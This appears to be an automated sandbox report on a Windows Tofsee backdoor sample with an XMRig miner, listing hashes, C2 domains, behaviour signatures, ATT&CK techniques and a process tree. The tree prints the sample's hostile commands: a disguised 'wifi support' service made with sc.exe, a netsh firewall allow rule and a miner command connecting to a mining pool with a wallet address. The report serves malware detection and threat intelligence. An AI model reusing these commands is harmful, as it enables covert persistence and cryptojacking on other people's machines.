Analysis

  • max time kernel
    150s
  • max time network
    163s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    15-06-2022 03:34

General

  • Target

    41eb7e0e0b938279446049d0c2d4f2f3cd60337751e449635084637245db03aa.exe

  • Size

    249KB

  • MD5

    e8cf8e8ea7c46ccf00fea85c09f72da5

  • SHA1

    3e701044ce8565a74373f8c3ee614aff490b5198

  • SHA256

    41eb7e0e0b938279446049d0c2d4f2f3cd60337751e449635084637245db03aa

  • SHA512

    31d3516f348800eb949bd2ef7ade1e35a11f43e70ee9b7b5d19a95d82d320947cdfef84fa0805e9d8af18ff6dc5361995c19e5e20176d64fd0c5cc9a0f9cd10d

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\41eb7e0e0b938279446049d0c2d4f2f3cd60337751e449635084637245db03aa.exe
    "C:\Users\Admin\AppData\Local\Temp\41eb7e0e0b938279446049d0c2d4f2f3cd60337751e449635084637245db03aa.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tenhemal\
      2⤵
        PID:3504
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kjnkuada.exe" C:\Windows\SysWOW64\tenhemal\
        2⤵
          PID:2364
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tenhemal binPath= "C:\Windows\SysWOW64\tenhemal\kjnkuada.exe /d\"C:\Users\Admin\AppData\Local\Temp\41eb7e0e0b938279446049d0c2d4f2f3cd60337751e449635084637245db03aa.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4808
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tenhemal "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4632
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tenhemal
          2⤵
          • Launches sc.exe
          PID:4104
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2276
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2040 -s 1196
          2⤵
          • Program crash
          PID:5092
      • C:\Windows\SysWOW64\tenhemal\kjnkuada.exe
        C:\Windows\SysWOW64\tenhemal\kjnkuada.exe /d"C:\Users\Admin\AppData\Local\Temp\41eb7e0e0b938279446049d0c2d4f2f3cd60337751e449635084637245db03aa.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3312
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4524
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4504
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3312 -s 528
          2⤵
          • Program crash
          PID:4984
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2040 -ip 2040
        1⤵
          PID:3420
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3312 -ip 3312
          1⤵
            PID:4612

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\kjnkuada.exe
            Filesize

            12.9MB

            MD5

            1f42ba2235920cc8cd0a27fbfd4a9d31

            SHA1

            4798c87cdc64d70404f9c04c51cd5bc3401df90b

            SHA256

            6033ea58fa7d3fdf33a1de29bba2c8e51c55a35bc459680bca68c393aba1b8e8

            SHA512

            afa3598d5243b5986c2201ada8f3d499f38135141dbf3b3422f3b3cbff9c3b225a88fe50517dc6a9cad8f05a1fa2c68c13eebe29f831fbc8069637f3f741623a

          • C:\Windows\SysWOW64\tenhemal\kjnkuada.exe
            Filesize

            12.9MB

            MD5

            1f42ba2235920cc8cd0a27fbfd4a9d31

            SHA1

            4798c87cdc64d70404f9c04c51cd5bc3401df90b

            SHA256

            6033ea58fa7d3fdf33a1de29bba2c8e51c55a35bc459680bca68c393aba1b8e8

            SHA512

            afa3598d5243b5986c2201ada8f3d499f38135141dbf3b3422f3b3cbff9c3b225a88fe50517dc6a9cad8f05a1fa2c68c13eebe29f831fbc8069637f3f741623a

          • memory/2040-142-0x00000000006BD000-0x00000000006CB000-memory.dmp
            Filesize

            56KB

          • memory/2040-132-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/2040-130-0x00000000006BD000-0x00000000006CB000-memory.dmp
            Filesize

            56KB

          • memory/2040-138-0x00000000006BD000-0x00000000006CB000-memory.dmp
            Filesize

            56KB

          • memory/2040-131-0x0000000002250000-0x0000000002263000-memory.dmp
            Filesize

            76KB

          • memory/2040-143-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/2276-141-0x0000000000000000-mapping.dmp
          • memory/2364-134-0x0000000000000000-mapping.dmp
          • memory/3312-144-0x0000000000689000-0x0000000000697000-memory.dmp
            Filesize

            56KB

          • memory/3312-145-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/3312-150-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/3504-133-0x0000000000000000-mapping.dmp
          • memory/4104-139-0x0000000000000000-mapping.dmp
          • memory/4504-171-0x0000000000000000-mapping.dmp
          • memory/4504-172-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/4504-177-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/4524-153-0x0000000003200000-0x000000000340F000-memory.dmp
            Filesize

            2.1MB

          • memory/4524-151-0x0000000000E60000-0x0000000000E75000-memory.dmp
            Filesize

            84KB

          • memory/4524-152-0x0000000000E60000-0x0000000000E75000-memory.dmp
            Filesize

            84KB

          • memory/4524-147-0x0000000000E60000-0x0000000000E75000-memory.dmp
            Filesize

            84KB

          • memory/4524-156-0x00000000021D0000-0x00000000021D6000-memory.dmp
            Filesize

            24KB

          • memory/4524-159-0x00000000021E0000-0x00000000021F0000-memory.dmp
            Filesize

            64KB

          • memory/4524-162-0x0000000002DD0000-0x0000000002DD5000-memory.dmp
            Filesize

            20KB

          • memory/4524-165-0x0000000008100000-0x000000000850B000-memory.dmp
            Filesize

            4.0MB

          • memory/4524-168-0x0000000002DE0000-0x0000000002DE7000-memory.dmp
            Filesize

            28KB

          • memory/4524-146-0x0000000000000000-mapping.dmp
          • memory/4632-137-0x0000000000000000-mapping.dmp
          • memory/4808-136-0x0000000000000000-mapping.dmp